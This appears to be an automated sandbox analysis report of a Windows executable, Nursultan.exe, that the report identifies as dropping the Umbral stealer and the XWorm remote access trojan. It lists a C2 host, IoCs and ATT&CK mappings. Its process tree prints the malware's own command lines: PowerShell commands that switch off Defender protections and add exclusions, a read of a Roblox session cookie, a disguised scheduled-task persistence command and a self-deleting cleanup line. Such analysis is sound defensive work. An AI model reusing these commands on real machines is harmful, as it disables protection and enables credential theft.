umbral | 13dcf8833f9fe533311420d9db085b180aca2ff1674e692c79b6596ebf5a83cd

Analysis

max time kernel
126s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
09-06-2024 15:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Nursultan.exe
Size

19.8MB
MD5

4aa0a579b602bd4434e6c857294fcca5
SHA1

3b4fec5946e430c54ec4b9170b165c9893368c1b
SHA256

13dcf8833f9fe533311420d9db085b180aca2ff1674e692c79b6596ebf5a83cd
SHA512

58fc656496033afdeda99efb2d9576fcc46e4b8af96ed0d024dc13b1fd775a98dad74d53f917c0e63980129221ecd686a8e178a86da423fadaac0761d50eff4a
SSDEEP

393216:kTspQo6f651rlw2PbRAInE5xg2N0hS+cpEMqT96SDtwdM7d3dgB7bSu8bafx3:kQuo6kBbeIACkAaE6k4MwBau8ix

Score

10^/10

umbral xworm execution persistence rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

north-modem.gl.at.ply.gg:45517

Attributes

Install_directory
%AppData%
install_file
Antimalware Service Executable.exe

Signatures

Detect Umbral payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe	family_umbral
behavioral1/memory/3696-25-0x00000252AB4E0000-0x00000252AB520000-memory.dmp	family_umbral

Detect Xworm Payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\sdfc.exe	family_xworm
behavioral1/memory/1208-53-0x0000000000B50000-0x0000000000B66000-memory.dmp	family_xworm

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

5036 powershell.exe
3348 powershell.exe
3344 powershell.exe
1520 powershell.exe
3140 powershell.exe
Drops file in Drivers directory 1 IoCs

Processes:

Stealeerrrl.exe

description ioc process

File opened for modification C:\Windows\System32\drivers\etc\hosts Stealeerrrl.exe

pid	process
5036	powershell.exe
3348	powershell.exe
3344	powershell.exe
1520	powershell.exe
3140	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Stealeerrrl.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Nursultan.exeNursultan.exeNursultan.exesdfc.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	Nursultan.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	Nursultan.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	Nursultan.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	sdfc.exe

Drops startup file 2 IoCs

Processes:

sdfc.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Antimalware Service Executable.lnk	sdfc.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Antimalware Service Executable.lnk	sdfc.exe

Executes dropped EXE 12 IoCs

Processes:

SHACTUAL.exeStealeerrrl.exeNursultan.exesdfc.exe45215434532.exeNursultan.exeStealeerrrl.exe45215434532.exeNursultan.exeStealeerrrl.exeAntimalware Service Executable.exeAntimalware Service Executable.exe

pid	process
3152	SHACTUAL.exe
3696	Stealeerrrl.exe
3672	Nursultan.exe
1208	sdfc.exe
1408	45215434532.exe
4064	Nursultan.exe
8	Stealeerrrl.exe
2056	45215434532.exe
3752	Nursultan.exe
2632	Stealeerrrl.exe
3516	Antimalware Service Executable.exe
1916	Antimalware Service Executable.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

sdfc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Antimalware Service Executable = "C:\\Users\\Admin\\AppData\\Roaming\\Antimalware Service Executable.exe"	sdfc.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

24 discord.com
25 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

12 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
24	discord.com
25	discord.com

flow	ioc
12	ip-api.com

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

1788 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

wmic.exe

pid process

3000 wmic.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

844 PING.EXE

pid	process
1788	schtasks.exe

pid	process
3000	wmic.exe

pid	process
844	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Stealeerrrl.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exetaskmgr.exe

pid	process
3696	Stealeerrrl.exe
3348	powershell.exe
3348	powershell.exe
4440	powershell.exe
4440	powershell.exe
3344	powershell.exe
4952	powershell.exe
3344	powershell.exe
4952	powershell.exe
548	powershell.exe
1520	powershell.exe
1520	powershell.exe
548	powershell.exe
3140	powershell.exe
3140	powershell.exe
5036	powershell.exe
5036	powershell.exe
4456	powershell.exe
4456	powershell.exe
4456	powershell.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

taskmgr.exe

pid process

4700 taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Stealeerrrl.exesdfc.exewmic.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exe

description	pid	process
Token: SeDebugPrivilege	3696	Stealeerrrl.exe
Token: SeDebugPrivilege	1208	sdfc.exe
Token: SeIncreaseQuotaPrivilege	4924	wmic.exe
Token: SeSecurityPrivilege	4924	wmic.exe
Token: SeTakeOwnershipPrivilege	4924	wmic.exe
Token: SeLoadDriverPrivilege	4924	wmic.exe
Token: SeSystemProfilePrivilege	4924	wmic.exe
Token: SeSystemtimePrivilege	4924	wmic.exe
Token: SeProfSingleProcessPrivilege	4924	wmic.exe
Token: SeIncBasePriorityPrivilege	4924	wmic.exe
Token: SeCreatePagefilePrivilege	4924	wmic.exe
Token: SeBackupPrivilege	4924	wmic.exe
Token: SeRestorePrivilege	4924	wmic.exe
Token: SeShutdownPrivilege	4924	wmic.exe
Token: SeDebugPrivilege	4924	wmic.exe
Token: SeSystemEnvironmentPrivilege	4924	wmic.exe
Token: SeRemoteShutdownPrivilege	4924	wmic.exe
Token: SeUndockPrivilege	4924	wmic.exe
Token: SeManageVolumePrivilege	4924	wmic.exe
Token: 33	4924	wmic.exe
Token: 34	4924	wmic.exe
Token: 35	4924	wmic.exe
Token: 36	4924	wmic.exe
Token: SeIncreaseQuotaPrivilege	4924	wmic.exe
Token: SeSecurityPrivilege	4924	wmic.exe
Token: SeTakeOwnershipPrivilege	4924	wmic.exe
Token: SeLoadDriverPrivilege	4924	wmic.exe
Token: SeSystemProfilePrivilege	4924	wmic.exe
Token: SeSystemtimePrivilege	4924	wmic.exe
Token: SeProfSingleProcessPrivilege	4924	wmic.exe
Token: SeIncBasePriorityPrivilege	4924	wmic.exe
Token: SeCreatePagefilePrivilege	4924	wmic.exe
Token: SeBackupPrivilege	4924	wmic.exe
Token: SeRestorePrivilege	4924	wmic.exe
Token: SeShutdownPrivilege	4924	wmic.exe
Token: SeDebugPrivilege	4924	wmic.exe
Token: SeSystemEnvironmentPrivilege	4924	wmic.exe
Token: SeRemoteShutdownPrivilege	4924	wmic.exe
Token: SeUndockPrivilege	4924	wmic.exe
Token: SeManageVolumePrivilege	4924	wmic.exe
Token: 33	4924	wmic.exe
Token: 34	4924	wmic.exe
Token: 35	4924	wmic.exe
Token: 36	4924	wmic.exe
Token: SeDebugPrivilege	3348	powershell.exe
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeDebugPrivilege	3344	powershell.exe
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	548	powershell.exe
Token: SeDebugPrivilege	3140	powershell.exe
Token: SeIncreaseQuotaPrivilege	1276	wmic.exe
Token: SeSecurityPrivilege	1276	wmic.exe
Token: SeTakeOwnershipPrivilege	1276	wmic.exe
Token: SeLoadDriverPrivilege	1276	wmic.exe
Token: SeSystemProfilePrivilege	1276	wmic.exe
Token: SeSystemtimePrivilege	1276	wmic.exe
Token: SeProfSingleProcessPrivilege	1276	wmic.exe
Token: SeIncBasePriorityPrivilege	1276	wmic.exe
Token: SeCreatePagefilePrivilege	1276	wmic.exe
Token: SeBackupPrivilege	1276	wmic.exe
Token: SeRestorePrivilege	1276	wmic.exe
Token: SeShutdownPrivilege	1276	wmic.exe
Token: SeDebugPrivilege	1276	wmic.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

taskmgr.exe

pid	process
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

taskmgr.exe

pid	process
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe
4700	taskmgr.exe

Suspicious use of WriteProcessMemory 56 IoCs

Processes:

Nursultan.exeStealeerrrl.exeNursultan.exeNursultan.exesdfc.execmd.exe

description	pid	process	target process
PID 220 wrote to memory of 3152	220	Nursultan.exe	SHACTUAL.exe
PID 220 wrote to memory of 3152	220	Nursultan.exe	SHACTUAL.exe
PID 220 wrote to memory of 3696	220	Nursultan.exe	Stealeerrrl.exe
PID 220 wrote to memory of 3696	220	Nursultan.exe	Stealeerrrl.exe
PID 220 wrote to memory of 3672	220	Nursultan.exe	Nursultan.exe
PID 220 wrote to memory of 3672	220	Nursultan.exe	Nursultan.exe
PID 3696 wrote to memory of 4924	3696	Stealeerrrl.exe	wmic.exe
PID 3696 wrote to memory of 4924	3696	Stealeerrrl.exe	wmic.exe
PID 220 wrote to memory of 1208	220	Nursultan.exe	sdfc.exe
PID 220 wrote to memory of 1208	220	Nursultan.exe	sdfc.exe
PID 3696 wrote to memory of 4568	3696	Stealeerrrl.exe	attrib.exe
PID 3696 wrote to memory of 4568	3696	Stealeerrrl.exe	attrib.exe
PID 3696 wrote to memory of 3348	3696	Stealeerrrl.exe	Conhost.exe
PID 3696 wrote to memory of 3348	3696	Stealeerrrl.exe	Conhost.exe
PID 3672 wrote to memory of 1408	3672	Nursultan.exe	45215434532.exe
PID 3672 wrote to memory of 1408	3672	Nursultan.exe	45215434532.exe
PID 3672 wrote to memory of 4064	3672	Nursultan.exe	Nursultan.exe
PID 3672 wrote to memory of 4064	3672	Nursultan.exe	Nursultan.exe
PID 3672 wrote to memory of 8	3672	Nursultan.exe	Stealeerrrl.exe
PID 3672 wrote to memory of 8	3672	Nursultan.exe	Stealeerrrl.exe
PID 3696 wrote to memory of 4440	3696	Stealeerrrl.exe	powershell.exe
PID 3696 wrote to memory of 4440	3696	Stealeerrrl.exe	powershell.exe
PID 4064 wrote to memory of 2056	4064	Nursultan.exe	45215434532.exe
PID 4064 wrote to memory of 2056	4064	Nursultan.exe	45215434532.exe
PID 1208 wrote to memory of 3344	1208	sdfc.exe	powershell.exe
PID 1208 wrote to memory of 3344	1208	sdfc.exe	powershell.exe
PID 4064 wrote to memory of 3752	4064	Nursultan.exe	Nursultan.exe
PID 4064 wrote to memory of 3752	4064	Nursultan.exe	Nursultan.exe
PID 3696 wrote to memory of 4952	3696	Stealeerrrl.exe	powershell.exe
PID 3696 wrote to memory of 4952	3696	Stealeerrrl.exe	powershell.exe
PID 4064 wrote to memory of 2632	4064	Nursultan.exe	Stealeerrrl.exe
PID 4064 wrote to memory of 2632	4064	Nursultan.exe	Stealeerrrl.exe
PID 1208 wrote to memory of 1520	1208	sdfc.exe	powershell.exe
PID 1208 wrote to memory of 1520	1208	sdfc.exe	powershell.exe
PID 3696 wrote to memory of 548	3696	Stealeerrrl.exe	powershell.exe
PID 3696 wrote to memory of 548	3696	Stealeerrrl.exe	powershell.exe
PID 1208 wrote to memory of 3140	1208	sdfc.exe	powershell.exe
PID 1208 wrote to memory of 3140	1208	sdfc.exe	powershell.exe
PID 3696 wrote to memory of 1276	3696	Stealeerrrl.exe	wmic.exe
PID 3696 wrote to memory of 1276	3696	Stealeerrrl.exe	wmic.exe
PID 1208 wrote to memory of 5036	1208	sdfc.exe	powershell.exe
PID 1208 wrote to memory of 5036	1208	sdfc.exe	powershell.exe
PID 3696 wrote to memory of 1664	3696	Stealeerrrl.exe	wmic.exe
PID 3696 wrote to memory of 1664	3696	Stealeerrrl.exe	wmic.exe
PID 3696 wrote to memory of 2368	3696	Stealeerrrl.exe	wmic.exe
PID 3696 wrote to memory of 2368	3696	Stealeerrrl.exe	wmic.exe
PID 3696 wrote to memory of 4456	3696	Stealeerrrl.exe	powershell.exe
PID 3696 wrote to memory of 4456	3696	Stealeerrrl.exe	powershell.exe
PID 3696 wrote to memory of 3000	3696	Stealeerrrl.exe	wmic.exe
PID 3696 wrote to memory of 3000	3696	Stealeerrrl.exe	wmic.exe
PID 1208 wrote to memory of 1788	1208	sdfc.exe	schtasks.exe
PID 1208 wrote to memory of 1788	1208	sdfc.exe	schtasks.exe
PID 3696 wrote to memory of 4512	3696	Stealeerrrl.exe	cmd.exe
PID 3696 wrote to memory of 4512	3696	Stealeerrrl.exe	cmd.exe
PID 4512 wrote to memory of 844	4512	cmd.exe	PING.EXE
PID 4512 wrote to memory of 844	4512	cmd.exe	PING.EXE

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

4568 attrib.exe

pid	process
4568	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Nursultan.exe
"C:\Users\Admin\AppData\Local\Temp\Nursultan.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:220

C:\Users\Admin\AppData\Roaming\SHACTUAL.exe
"C:\Users\Admin\AppData\Roaming\SHACTUAL.exe"
2⤵
- Executes dropped EXE
PID:3152

C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe
"C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe"
2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3696

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" csproduct get uuid
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4924

C:\Windows\SYSTEM32\attrib.exe
"attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe"
3⤵
- Views/modifies file attributes
PID:4568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3348

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4440

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:548

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" os get Caption
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1276

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:3348

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" computersystem get totalphysicalmemory
3⤵
PID:1664

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" csproduct get uuid
3⤵
PID:2368

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4456

C:\Windows\System32\Wbem\wmic.exe
"wmic" path win32_VideoController get name
3⤵
- Detects videocard installed
PID:3000

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe" && pause
3⤵
- Suspicious use of WriteProcessMemory
PID:4512

C:\Windows\system32\PING.EXE
ping localhost
4⤵
- Runs ping.exe
PID:844

C:\Users\Admin\AppData\Roaming\Nursultan.exe
"C:\Users\Admin\AppData\Roaming\Nursultan.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3672

C:\Users\Admin\AppData\Roaming\45215434532.exe
"C:\Users\Admin\AppData\Roaming\45215434532.exe"
3⤵
- Executes dropped EXE
PID:1408

C:\Users\Admin\AppData\Roaming\Nursultan.exe
"C:\Users\Admin\AppData\Roaming\Nursultan.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4064

C:\Users\Admin\AppData\Roaming\45215434532.exe
"C:\Users\Admin\AppData\Roaming\45215434532.exe"
4⤵
- Executes dropped EXE
PID:2056

C:\Users\Admin\AppData\Roaming\Nursultan.exe
"C:\Users\Admin\AppData\Roaming\Nursultan.exe"
4⤵
- Executes dropped EXE
PID:3752

C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe
"C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe"
4⤵
- Executes dropped EXE
PID:2632

C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe
"C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe"
3⤵
- Executes dropped EXE
PID:8

C:\Users\Admin\AppData\Roaming\sdfc.exe
"C:\Users\Admin\AppData\Roaming\sdfc.exe"
2⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1208

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\sdfc.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3344

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'sdfc.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1520

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Antimalware Service Executable.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3140

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Antimalware Service Executable.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5036

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Antimalware Service Executable" /tr "C:\Users\Admin\AppData\Roaming\Antimalware Service Executable.exe"
3⤵
- Creates scheduled task(s)
PID:1788

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /0
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4700

C:\Users\Admin\AppData\Roaming\Antimalware Service Executable.exe
"C:\Users\Admin\AppData\Roaming\Antimalware Service Executable.exe"
1⤵
- Executes dropped EXE
PID:3516

C:\Users\Admin\AppData\Roaming\Antimalware Service Executable.exe
"C:\Users\Admin\AppData\Roaming\Antimalware Service Executable.exe"
1⤵
- Executes dropped EXE
PID:1916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\45215434532.exe.log
Filesize
871B

MD5
386677f585908a33791517dfc2317f88

SHA1
2e6853b4560a9ac8a74cdd5c3124a777bc0d874e

SHA256
7caf8779608c167ab6fa570df00c973aff6dee850bb63439770889a68c7cdae0

SHA512
876d2269e25a4b2754bdf2c7e3c410050f885d7e6bd8abce41c5fc74ae1f8c549b2266dd1588c750f614063f36c8a8e5008cea610505897d04e4ef5c3adc52d9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Nursultan.exe.log
Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Stealeerrrl.exe.log
Filesize
1KB

MD5
4c8fa14eeeeda6fe76a08d14e08bf756

SHA1
30003b6798090ec74eb477bbed88e086f8552976

SHA256
7ebfcfca64b0c1c9f0949652d50a64452b35cefe881af110405cd6ec45f857a5

SHA512
116f80182c25cf0e6159cf59a35ee27d66e431696d29ec879c44521a74ab7523cbfdefeacfb6a3298b48788d7a6caa5336628ec9c1d8b9c9723338dcffea4116

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
